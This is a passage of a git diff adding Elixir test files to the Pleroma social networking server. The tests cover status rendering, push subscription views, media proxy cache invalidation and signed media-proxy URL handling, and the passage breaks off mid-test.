StatusView.render("show.json", Map.put(for_opts, :relationships, relationships_opt)) + assert status.muted == true + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "tells if the message is thread muted" do + user = insert(:user) + other_user = insert(:user) + + {:ok, _user_relationships} = User.mute(user, other_user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "test"}) + status = StatusView.render("show.json", %{activity: activity, for: user}) + + assert status.pleroma.thread_muted == false + + {:ok, activity} = CommonAPI.add_mute(user, activity) + + status = StatusView.render("show.json", %{activity: activity, for: user}) + + assert status.pleroma.thread_muted == true + end + + test "tells if the status is bookmarked" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "Cute girls doing cute things"}) + status = StatusView.render("show.json", %{activity: activity}) + + assert status.bookmarked == false + + status = StatusView.render("show.json", %{activity: activity, for: user}) + + assert status.bookmarked == false + + {:ok, _bookmark} = Bookmark.create(user.id, activity.id) + + activity = Activity.get_by_id_with_object(activity.id) + + status = StatusView.render("show.json", %{activity: activity, for: user}) + + assert status.bookmarked == true + end + + test "a reply" do + note = insert(:note_activity) + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "he", in_reply_to_status_id: note.id}) + + status = StatusView.render("show.json", %{activity: activity}) + + assert status.in_reply_to_id == to_string(note.id) + + [status] = StatusView.render("index.json", %{activities: [activity], as: :activity}) + + assert status.in_reply_to_id == to_string(note.id) + end + + test "contains mentions" do + user = insert(:user) + mentioned = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "hi @#{mentioned.nickname}"}) + + status = StatusView.render("show.json", %{activity: activity}) + + assert status.mentions == + Enum.map([mentioned], fn u -> AccountView.render("mention.json", %{user: u}) end) + + assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "create mentions from the 'to' field" do + %User{ap_id: recipient_ap_id} = insert(:user) + cc = insert_pair(:user) |> Enum.map(& &1.ap_id) + + object = + insert(:note, %{ + data: %{ + "to" => [recipient_ap_id], + "cc" => cc + } + }) + + activity = + insert(:note_activity, %{ + note: object, + recipients: [recipient_ap_id | cc] + }) + + assert length(activity.recipients) == 3 + + %{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity}) + + assert length(mentions) == 1 + assert mention.url == recipient_ap_id + end + + test "create mentions from the 'tag' field" do + recipient = insert(:user) + cc = insert_pair(:user) |> Enum.map(& &1.ap_id) + + object = + insert(:note, %{ + data: %{ + "cc" => cc, + "tag" => [ + %{ + "href" => recipient.ap_id, + "name" => recipient.nickname, + "type" => "Mention" + }, + %{ + "href" => "https://example.com/search?tag=test", + "name" => "#test", + "type" => "Hashtag" + } + ] + } + }) + + activity = + insert(:note_activity, %{ + note: object, + recipients: [recipient.ap_id | cc] + }) + + assert length(activity.recipients) == 3 + + %{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity}) + + assert length(mentions) == 1 + assert mention.url == recipient.ap_id + end + + test "attachments" do + object = %{ + "type" => "Image", + "url" => [ + %{ + "mediaType" => "image/png", + "href" => "someurl" + } + ], + "uuid" => 6 + } + + expected = %{ + id: "1638338801", + type: "image", + url: "someurl", + remote_url: "someurl", + preview_url: "someurl", + text_url: "someurl", + description: nil, + pleroma: %{mime_type: "image/png"} + } + + api_spec = Pleroma.Web.ApiSpec.spec() + + assert expected == StatusView.render("attachment.json", %{attachment: object}) + assert_schema(expected, "Attachment", api_spec) + + # If theres a "id", use that instead of the generated one + object = Map.put(object, "id", 2) + result = StatusView.render("attachment.json", %{attachment: object}) + + assert %{id: "2"} = result + assert_schema(result, "Attachment", api_spec) + end + + test "put the url advertised in the Activity in to the url attribute" do + id = "https://wedistribute.org/wp-json/pterotype/v1/object/85810" + [activity] = Activity.search(nil, id) + + status = StatusView.render("show.json", %{activity: activity}) + + assert status.uri == id + assert status.url == "https://wedistribute.org/2019/07/mastodon-drops-ostatus/" + end + + test "a reblog" do + user = insert(:user) + activity = insert(:note_activity) + + {:ok, reblog} = CommonAPI.repeat(activity.id, user) + + represented = StatusView.render("show.json", %{for: user, activity: reblog}) + + assert represented[:id] == to_string(reblog.id) + assert represented[:reblog][:id] == to_string(activity.id) + assert represented[:emojis] == [] + assert_schema(represented, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "a peertube video" do + user = insert(:user) + + {:ok, object} = + Pleroma.Object.Fetcher.fetch_object_from_id( + "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" + ) + + %Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"]) + + represented = StatusView.render("show.json", %{for: user, activity: activity}) + + assert represented[:id] == to_string(activity.id) + assert length(represented[:media_attachments]) == 1 + assert_schema(represented, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "funkwhale audio" do + user = insert(:user) + + {:ok, object} = + Pleroma.Object.Fetcher.fetch_object_from_id( + "https://channels.tests.funkwhale.audio/federation/music/uploads/42342395-0208-4fee-a38d-259a6dae0871" + ) + + %Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"]) + + represented = StatusView.render("show.json", %{for: user, activity: activity}) + + assert represented[:id] == to_string(activity.id) + assert length(represented[:media_attachments]) == 1 + end + + test "a Mobilizon event" do + user = insert(:user) + + {:ok, object} = + Pleroma.Object.Fetcher.fetch_object_from_id( + "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" + ) + + %Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"]) + + represented = StatusView.render("show.json", %{for: user, activity: activity}) + + assert represented[:id] == to_string(activity.id) + + assert represented[:url] == + "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" + + assert represented[:content] == + "

Mobilizon Launching Party

Mobilizon is now federated! 🎉

You can view this event from other instances if they are subscribed to mobilizon.org, and soon directly from Mastodon and Pleroma. It is possible that you may see some comments from other instances, including Mastodon ones, just below.

With a Mobilizon account on an instance, you may participate at events from other instances and add comments on events.

Of course, it's still a work in progress: if reports made from an instance on events and comments can be federated, you can't block people right now, and moderators actions are rather limited, but this will definitely get fixed over time until first stable version next year.

Anyway, if you want to come up with some feedback, head over to our forum or - if you feel you have technical skills and are familiar with it - on our Gitlab repository.

Also, to people that want to set Mobilizon themselves even though we really don't advise to do that for now, we have a little documentation but it's quite the early days and you'll probably need some help. No worries, you can chat with us on our Forum or though our Matrix channel.

Check our website for more informations and follow us on Twitter or Mastodon.

" + end + + describe "build_tags/1" do + test "it returns a a dictionary tags" do + object_tags = [ + "fediverse", + "mastodon", + "nextcloud", + %{ + "href" => "https://kawen.space/users/lain", + "name" => "@lain@kawen.space", + "type" => "Mention" + } + ] + + assert StatusView.build_tags(object_tags) == [ + %{name: "fediverse", url: "/tag/fediverse"}, + %{name: "mastodon", url: "/tag/mastodon"}, + %{name: "nextcloud", url: "/tag/nextcloud"} + ] + end + end + + describe "rich media cards" do + test "a rich media card without a site name renders correctly" do + page_url = "http://example.com" + + card = %{ + url: page_url, + image: page_url <> "/example.jpg", + title: "Example website" + } + + %{provider_name: "example.com"} = + StatusView.render("card.json", %{page_url: page_url, rich_media: card}) + end + + test "a rich media card without a site name or image renders correctly" do + page_url = "http://example.com" + + card = %{ + url: page_url, + title: "Example website" + } + + %{provider_name: "example.com"} = + StatusView.render("card.json", %{page_url: page_url, rich_media: card}) + end + + test "a rich media card without an image renders correctly" do + page_url = "http://example.com" + + card = %{ + url: page_url, + site_name: "Example site name", + title: "Example website" + } + + %{provider_name: "example.com"} = + StatusView.render("card.json", %{page_url: page_url, rich_media: card}) + end + + test "a rich media card with all relevant data renders correctly" do + page_url = "http://example.com" + + card = %{ + url: page_url, + site_name: "Example site name", + title: "Example website", + image: page_url <> "/example.jpg", + description: "Example description" + } + + %{provider_name: "example.com"} = + StatusView.render("card.json", %{page_url: page_url, rich_media: card}) + end + end + + test "does not embed a relationship in the account" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "drink more water" + }) + + result = StatusView.render("show.json", %{activity: activity, for: other_user}) + + assert result[:account][:pleroma][:relationship] == %{} + assert_schema(result, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "does not embed a relationship in the account in reposts" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "˙˙ɐʎns" + }) + + {:ok, activity} = CommonAPI.repeat(activity.id, other_user) + + result = StatusView.render("show.json", %{activity: activity, for: user}) + + assert result[:account][:pleroma][:relationship] == %{} + assert result[:reblog][:account][:pleroma][:relationship] == %{} + assert_schema(result, "Status", Pleroma.Web.ApiSpec.spec()) + end + + test "visibility/list" do + user = insert(:user) + + {:ok, list} = Pleroma.List.create("foo", user) + + {:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"}) + + status = StatusView.render("show.json", activity: activity) + + assert status.visibility == "list" + end + + test "has a field for parent visibility" do + user = insert(:user) + poster = insert(:user) + + {:ok, invisible} = CommonAPI.post(poster, %{status: "hey", visibility: "private"}) + + {:ok, visible} = + CommonAPI.post(poster, %{status: "hey", visibility: "private", in_reply_to_id: invisible.id}) + + status = StatusView.render("show.json", activity: visible, for: user) + refute status.pleroma.parent_visible + + status = StatusView.render("show.json", activity: visible, for: poster) + assert status.pleroma.parent_visible + end +end diff --git a/test/pleroma/web/mastodon_api/views/subscription_view_test.exs b/test/pleroma/web/mastodon_api/views/subscription_view_test.exs new file mode 100644 index 000000000..981524c0e --- /dev/null +++ b/test/pleroma/web/mastodon_api/views/subscription_view_test.exs @@ -0,0 +1,23 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.SubscriptionViewTest do + use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Web.MastodonAPI.SubscriptionView, as: View + alias Pleroma.Web.Push + + test "Represent a subscription" do + subscription = insert(:push_subscription, data: %{"alerts" => %{"mention" => true}}) + + expected = %{ + alerts: %{"mention" => true}, + endpoint: subscription.endpoint, + id: to_string(subscription.id), + server_key: Keyword.get(Push.vapid_config(), :public_key) + } + + assert expected == View.render("show.json", %{subscription: subscription}) + end +end diff --git a/test/pleroma/web/media_proxy/invalidation/http_test.exs b/test/pleroma/web/media_proxy/invalidation/http_test.exs new file mode 100644 index 000000000..13d081325 --- /dev/null +++ b/test/pleroma/web/media_proxy/invalidation/http_test.exs @@ -0,0 +1,43 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MediaProxy.Invalidation.HttpTest do + use ExUnit.Case + alias Pleroma.Web.MediaProxy.Invalidation + + import ExUnit.CaptureLog + import Tesla.Mock + + setup do + on_exit(fn -> Cachex.clear(:banned_urls_cache) end) + end + + test "logs hasn't error message when request is valid" do + mock(fn + %{method: :purge, url: "http://example.com/media/example.jpg"} -> + %Tesla.Env{status: 200} + end) + + refute capture_log(fn -> + assert Invalidation.Http.purge( + ["http://example.com/media/example.jpg"], + [] + ) == {:ok, ["http://example.com/media/example.jpg"]} + end) =~ "Error while cache purge" + end + + test "it write error message in logs when request invalid" do + mock(fn + %{method: :purge, url: "http://example.com/media/example1.jpg"} -> + %Tesla.Env{status: 404} + end) + + assert capture_log(fn -> + assert Invalidation.Http.purge( + ["http://example.com/media/example1.jpg"], + [] + ) == {:ok, ["http://example.com/media/example1.jpg"]} + end) =~ "Error while cache purge: url - http://example.com/media/example1.jpg" + end +end diff --git a/test/pleroma/web/media_proxy/invalidation/script_test.exs b/test/pleroma/web/media_proxy/invalidation/script_test.exs new file mode 100644 index 000000000..692cbb2df --- /dev/null +++ b/test/pleroma/web/media_proxy/invalidation/script_test.exs @@ -0,0 +1,30 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MediaProxy.Invalidation.ScriptTest do + use ExUnit.Case + alias Pleroma.Web.MediaProxy.Invalidation + + import ExUnit.CaptureLog + + setup do + on_exit(fn -> Cachex.clear(:banned_urls_cache) end) + end + + test "it logger error when script not found" do + assert capture_log(fn -> + assert Invalidation.Script.purge( + ["http://example.com/media/example.jpg"], + script_path: "./example" + ) == {:error, "%ErlangError{original: :enoent}"} + end) =~ "Error while cache purge: %ErlangError{original: :enoent}" + + capture_log(fn -> + assert Invalidation.Script.purge( + ["http://example.com/media/example.jpg"], + [] + ) == {:error, "\"not found script path\""} + end) + end +end diff --git a/test/pleroma/web/media_proxy/invalidation_test.exs b/test/pleroma/web/media_proxy/invalidation_test.exs new file mode 100644 index 000000000..aa1435ac0 --- /dev/null +++ b/test/pleroma/web/media_proxy/invalidation_test.exs @@ -0,0 +1,68 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MediaProxy.InvalidationTest do + use ExUnit.Case + use Pleroma.Tests.Helpers + + alias Pleroma.Config + alias Pleroma.Web.MediaProxy.Invalidation + + import ExUnit.CaptureLog + import Mock + import Tesla.Mock + + setup do: clear_config([:media_proxy]) + + setup do + on_exit(fn -> Cachex.clear(:banned_urls_cache) end) + end + + describe "Invalidation.Http" do + test "perform request to clear cache" do + Config.put([:media_proxy, :enabled], false) + Config.put([:media_proxy, :invalidation, :enabled], true) + Config.put([:media_proxy, :invalidation, :provider], Invalidation.Http) + + Config.put([Invalidation.Http], method: :purge, headers: [{"x-refresh", 1}]) + image_url = "http://example.com/media/example.jpg" + Pleroma.Web.MediaProxy.put_in_banned_urls(image_url) + + mock(fn + %{ + method: :purge, + url: "http://example.com/media/example.jpg", + headers: [{"x-refresh", 1}] + } -> + %Tesla.Env{status: 200} + end) + + assert capture_log(fn -> + assert Pleroma.Web.MediaProxy.in_banned_urls(image_url) + assert Invalidation.purge([image_url]) == {:ok, [image_url]} + assert Pleroma.Web.MediaProxy.in_banned_urls(image_url) + end) =~ "Running cache purge: [\"#{image_url}\"]" + end + end + + describe "Invalidation.Script" do + test "run script to clear cache" do + Config.put([:media_proxy, :enabled], false) + Config.put([:media_proxy, :invalidation, :enabled], true) + Config.put([:media_proxy, :invalidation, :provider], Invalidation.Script) + Config.put([Invalidation.Script], script_path: "purge-nginx") + + image_url = "http://example.com/media/example.jpg" + Pleroma.Web.MediaProxy.put_in_banned_urls(image_url) + + with_mocks [{System, [], [cmd: fn _, _ -> {"ok", 0} end]}] do + assert capture_log(fn -> + assert Pleroma.Web.MediaProxy.in_banned_urls(image_url) + assert Invalidation.purge([image_url]) == {:ok, [image_url]} + assert Pleroma.Web.MediaProxy.in_banned_urls(image_url) + end) =~ "Running cache purge: [\"#{image_url}\"]" + end + end + end +end diff --git a/test/pleroma/web/media_proxy/media_proxy_controller_test.exs b/test/pleroma/web/media_proxy/media_proxy_controller_test.exs new file mode 100644 index 000000000..e9b584822 --- /dev/null +++ b/test/pleroma/web/media_proxy/media_proxy_controller_test.exs @@ -0,0 +1,342 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MediaProxy.MediaProxyControllerTest do + use Pleroma.Web.ConnCase + + import Mock + + alias Pleroma.Web.MediaProxy + alias Plug.Conn + + setup do + on_exit(fn -> Cachex.clear(:banned_urls_cache) end) + end + + describe "Media Proxy" do + setup do + clear_config([:media_proxy, :enabled], true) + clear_config([Pleroma.Web.Endpoint, :secret_key_base], "00000000000") + + [url: MediaProxy.encode_url("https://google.fn/test.png")] + end + + test "it returns 404 when disabled", %{conn: conn} do + clear_config([:media_proxy, :enabled], false) + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/hhgfh/eeeee") + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/hhgfh/eeee/fff") + end + + test "it returns 403 for invalid signature", %{conn: conn, url: url} do + Pleroma.Config.put([Pleroma.Web.Endpoint, :secret_key_base], "000") + %{path: path} = URI.parse(url) + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, path) + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, "/proxy/hhgfh/eeee") + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, "/proxy/hhgfh/eeee/fff") + end + + test "redirects to valid url when filename is invalidated", %{conn: conn, url: url} do + invalid_url = String.replace(url, "test.png", "test-file.png") + response = get(conn, invalid_url) + assert response.status == 302 + assert redirected_to(response) == url + end + + test "it performs ReverseProxy.call with valid signature", %{conn: conn, url: url} do + with_mock Pleroma.ReverseProxy, + call: fn _conn, _url, _opts -> %Conn{status: :success} end do + assert %Conn{status: :success} = get(conn, url) + end + end + + test "it returns 404 when url is in banned_urls cache", %{conn: conn, url: url} do + MediaProxy.put_in_banned_urls("https://google.fn/test.png") + + with_mock Pleroma.ReverseProxy, + call: fn _conn, _url, _opts -> %Conn{status: :success} end do + assert %Conn{status: 404, resp_body: "Not Found"} = get(conn, url) + end + end + end + + describe "Media Preview Proxy" do + def assert_dependencies_installed do + missing_dependencies = Pleroma.Helpers.MediaHelper.missing_dependencies() + + assert missing_dependencies == [], + "Error: missing dependencies (please refer to `docs/installation`): #{ + inspect(missing_dependencies) + }" + end + + setup do + clear_config([:media_proxy, :enabled], true) + clear_config([:media_preview_proxy, :enabled], true) + clear_config([Pleroma.Web.Endpoint, :secret_key_base], "00000000000") + + original_url = "https://google.fn/test.png" + + [ + url: MediaProxy.encode_preview_url(original_url), + media_proxy_url: MediaProxy.encode_url(original_url) + ] + end + + test "returns 404 when media proxy is disabled", %{conn: conn} do + clear_config([:media_proxy, :enabled], false) + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/preview/hhgfh/eeeee") + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/preview/hhgfh/fff") + end + + test "returns 404 when disabled", %{conn: conn} do + clear_config([:media_preview_proxy, :enabled], false) + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/preview/hhgfh/eeeee") + + assert %Conn{ + status: 404, + resp_body: "Not Found" + } = get(conn, "/proxy/preview/hhgfh/fff") + end + + test "it returns 403 for invalid signature", %{conn: conn, url: url} do + Pleroma.Config.put([Pleroma.Web.Endpoint, :secret_key_base], "000") + %{path: path} = URI.parse(url) + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, path) + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, "/proxy/preview/hhgfh/eeee") + + assert %Conn{ + status: 403, + resp_body: "Forbidden" + } = get(conn, "/proxy/preview/hhgfh/eeee/fff") + end + + test "redirects to valid url when filename is invalidated", %{conn: conn, url: url} do + invalid_url = String.replace(url, "test.png", "test-file.png") + response = get(conn, invalid_url) + assert response.status == 302 + assert redirected_to(response) == url + end + + test "responds with 424 Failed Dependency if HEAD request to media proxy fails", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 500, body: ""} + end) + + response = get(conn, url) + assert response.status == 424 + assert response.resp_body == "Can't fetch HTTP headers (HTTP 500)." + end + + test "redirects to media proxy URI on unsupported content type", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "application/pdf"}]} + end) + + response = get(conn, url) + assert response.status == 302 + assert redirected_to(response) == media_proxy_url + end + + test "with `static=true` and GIF image preview requested, responds with JPEG image", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + assert_dependencies_installed() + + # Setting a high :min_content_length to ensure this scenario is not affected by its logic + clear_config([:media_preview_proxy, :min_content_length], 1_000_000_000) + + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{ + status: 200, + body: "", + headers: [{"content-type", "image/gif"}, {"content-length", "1001718"}] + } + + %{method: :get, url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.gif")} + end) + + response = get(conn, url <> "?static=true") + + assert response.status == 200 + assert Conn.get_resp_header(response, "content-type") == ["image/jpeg"] + assert response.resp_body != "" + end + + test "with GIF image preview requested and no `static` param, redirects to media proxy URI", + %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/gif"}]} + end) + + response = get(conn, url) + + assert response.status == 302 + assert redirected_to(response) == media_proxy_url + end + + test "with `static` param and non-GIF image preview requested, " <> + "redirects to media preview proxy URI without `static` param", + %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} + end) + + response = get(conn, url <> "?static=true") + + assert response.status == 302 + assert redirected_to(response) == url + end + + test "with :min_content_length setting not matched by Content-Length header, " <> + "redirects to media proxy URI", + %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + clear_config([:media_preview_proxy, :min_content_length], 100_000) + + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{ + status: 200, + body: "", + headers: [{"content-type", "image/gif"}, {"content-length", "5000"}] + } + end) + + response = get(conn, url) + + assert response.status == 302 + assert redirected_to(response) == media_proxy_url + end + + test "thumbnails PNG images into PNG", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + assert_dependencies_installed() + + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/png"}]} + + %{method: :get, url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.png")} + end) + + response = get(conn, url) + + assert response.status == 200 + assert Conn.get_resp_header(response, "content-type") == ["image/png"] + assert response.resp_body != "" + end + + test "thumbnails JPEG images into JPEG", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + assert_dependencies_installed() + + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} + + %{method: :get, url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/image.jpg")} + end) + + response = get(conn, url) + + assert response.status == 200 + assert Conn.get_resp_header(response, "content-type") == ["image/jpeg"] + assert response.resp_body != "" + end + + test "redirects to media proxy URI in case of thumbnailing error", %{ + conn: conn, + url: url, + media_proxy_url: media_proxy_url + } do + Tesla.Mock.mock(fn + %{method: "head", url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "", headers: [{"content-type", "image/jpeg"}]} + + %{method: :get, url: ^media_proxy_url} -> + %Tesla.Env{status: 200, body: "error"} + end) + + response = get(conn, url) + + assert response.status == 302 + assert redirected_to(response) == media_proxy_url + end + end +end diff --git a/test/pleroma/web/media_proxy_test.exs b/test/pleroma/web/media_proxy_test.exs new file mode 100644 index 000000000..0e6df826c --- /dev/null +++ b/test/pleroma/web/media_proxy_test.exs @@ -0,0 +1,234 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MediaProxyTest do + use ExUnit.Case + use Pleroma.Tests.Helpers + + alias Pleroma.Config + alias Pleroma.Web.Endpoint + alias Pleroma.Web.MediaProxy + + defp decode_result(encoded) do + [_, "proxy", sig, base64 | _] = URI.parse(encoded).path |> String.split("/") + {:ok, decoded} = MediaProxy.decode_url(sig, base64) + decoded + end + + describe "when enabled" do + setup do: clear_config([:media_proxy, :enabled], true) + + test "ignores invalid url" do + assert MediaProxy.url(nil) == nil + assert MediaProxy.url("") == nil + end + + test "ignores relative url" do + assert MediaProxy.url("/local") == "/local" + assert MediaProxy.url("/") == "/" + end + + test "ignores local url" do + local_url = Endpoint.url() <> "/hello" + local_root = Endpoint.url() + assert MediaProxy.url(local_url) == local_url + assert MediaProxy.url(local_root) == local_root + end + + test "encodes and decodes URL" do + url = "https://pleroma.soykaf.com/static/logo.png" + encoded = MediaProxy.url(url) + + assert String.starts_with?( + encoded, + Config.get([:media_proxy, :base_url], Pleroma.Web.base_url()) + ) + + assert String.ends_with?(encoded, "/logo.png") + + assert decode_result(encoded) == url + end + + test "encodes and decodes URL without a path" do + url = "https://pleroma.soykaf.com" + encoded = MediaProxy.url(url) + assert decode_result(encoded) == url + end + + test "encodes and decodes URL without an extension" do + url = "https://pleroma.soykaf.com/path/" + encoded = MediaProxy.url(url) + assert String.ends_with?(encoded, "/path") + assert decode_result(encoded) == url + end + + test "encodes and decodes URL and ignores query params for the path" do + url = "https://pleroma.soykaf.com/static/logo.png?93939393939&bunny=true" + encoded = MediaProxy.url(url) + assert String.ends_with?(encoded, "/logo.png") + assert decode_result(encoded) == url + end + + test "validates signature" do + encoded = MediaProxy.url("https://pleroma.social") + + clear_config( + [Endpoint, :secret_key_base], + "00000000000000000000000000000000000000000000000" + ) + + [_, "proxy", sig, base64 | _] = URI.parse(encoded).path |> String.split("/") + assert MediaProxy.decode_url(sig, base64) == {:error, :invalid_signature} + end + + def test_verify_request_path_and_url(request_path, url, expected_result) do + assert MediaProxy.verify_request_path_and_url(request_path, url) == expected_result + + assert MediaProxy.verify_request_path_and_url( + %Plug.Conn{ + params: %{"filename" => Path.basename(request_path)}, + request_path: request_path + }, + url + ) == expected_result + end + + test "if first arg of `verify_request_path_and_url/2` is a Plug.Conn without \"filename\" " <> + "parameter, `verify_request_path_and_url/2` returns :ok " do + assert MediaProxy.verify_request_path_and_url( + %Plug.Conn{params: %{}, request_path: "/some/path"}, + "https://instance.com/file.jpg" + ) == :ok + + assert MediaProxy.verify_request_path_and_url( + %Plug.Conn{params: %{}, request_path: "/path/to/file.jpg"}, + "https://instance.com/file.jpg" + ) == :ok + end + + test "`verify_request_path_and_url/2` preserves the encoded or decoded path" do + test_verify_request_path_and_url( + "/Hello world.jpg", + "http://pleroma.social/Hello world.jpg", + :ok + ) + + test_verify_request_path_and_url( + "/Hello%20world.jpg", + "http://pleroma.social/Hello%20world.jpg", + :ok + ) + + test_verify_request_path_and_url( + "/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", + "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", + :ok + ) + + test_verify_request_path_and_url( + # Note: `conn.request_path` returns encoded url + "/ANALYSE-DAI-_-LE-STABLECOIN-100-D%C3%89CENTRALIS%C3%89-BQ.jpg", + "https://mydomain.com/uploads/2019/07/ANALYSE-DAI-_-LE-STABLECOIN-100-DÉCENTRALISÉ-BQ.jpg", + :ok + ) + + test_verify_request_path_and_url( + "/my%2Flong%2Furl%2F2019%2F07%2FS", + "http://pleroma.social/my%2Flong%2Furl%2F2019%2F07%2FS.jpg", + {:wrong_filename, "my%2Flong%2Furl%2F2019%2F07%2FS.jpg"} + ) + end + + test "uses the configured base_url" do + base_url = "https://cache.pleroma.social" + clear_config([:media_proxy, :base_url], base_url) + + url = "https://pleroma.soykaf.com/static/logo.png" + encoded = MediaProxy.url(url) + + assert String.starts_with?(encoded, base_url) + end + + # Some sites expect ASCII encoded characters in the URL to be preserved even if + # unnecessary. + # Issues: https://git.pleroma.social/pleroma/pleroma/issues/580 + # https://git.pleroma.social/pleroma/pleroma/issues/1055 + test "preserve ASCII encoding" do + url = + "https://pleroma.com/%20/%21/%22/%23/%24/%25/%26/%27/%28/%29/%2A/%2B/%2C/%2D/%2E/%2F/%30/%31/%32/%33/%34/%35/%36/%37/%38/%39/%3A/%3B/%3C/%3D/%3E/%3F/%40/%41/%42/%43/%44/%45/%46/%47/%48/%49/%4A/%4B/%4C/%4D/%4E/%4F/%50/%51/%52/%53/%54/%55/%56/%57/%58/%59/%5A/%5B/%5C/%5D/%5E/%5F/%60/%61/%62/%63/%64/%65/%66/%67/%68/%69/%6A/%6B/%6C/%6D/%6E/%6F/%70/%71/%72/%73/%74/%75/%76/%77/%78/%79/%7A/%7B/%7C/%7D/%7E/%7F/%80/%81/%82/%83/%84/%85/%86/%87/%88/%89/%8A/%8B/%8C/%8D/%8E/%8F/%90/%91/%92/%93/%94/%95/%96/%97/%98/%99/%9A/%9B/%9C/%9D/%9E/%9F/%C2%A0/%A1/%A2/%A3/%A4/%A5/%A6/%A7/%A8/%A9/%AA/%AB/%AC/%C2%AD/%AE/%AF/%B0/%B1/%B2/%B3/%B4/%B5/%B6/%B7/%B8/%B9/%BA/%BB/%BC/%BD/%BE/%BF/%C0/%C1/%C2/%C3/%C4/%C5/%C6/%C7/%C8/%C9/%CA/%CB/%CC/%CD/%CE/%CF/%D0/%D1/%D2/%D3/%D4/%D5/%D6/%D7/%D8/%D9/%DA/%DB/%DC/%DD/%DE/%DF/%E0/%E1/%E2/%E3/%E4/%E5/%E6/%E7/%E8/%E9/%EA/%EB/%EC/%ED/%EE/%EF/%F0/%F1/%F2/%F3/%F4/%F5/%F6/%F7/%F8/%F9/%FA/%FB/%FC/%FD/%FE/%FF" + + encoded = MediaProxy.url(url) + assert decode_result(encoded) == url + end + + # This includes unsafe/reserved characters which are not interpreted as part of the URL + # and would otherwise have to be ASCII encoded. It is our role to ensure the proxied URL + # is unmodified, so we are testing these characters anyway. + test "preserve non-unicode characters per RFC3986" do + url = + 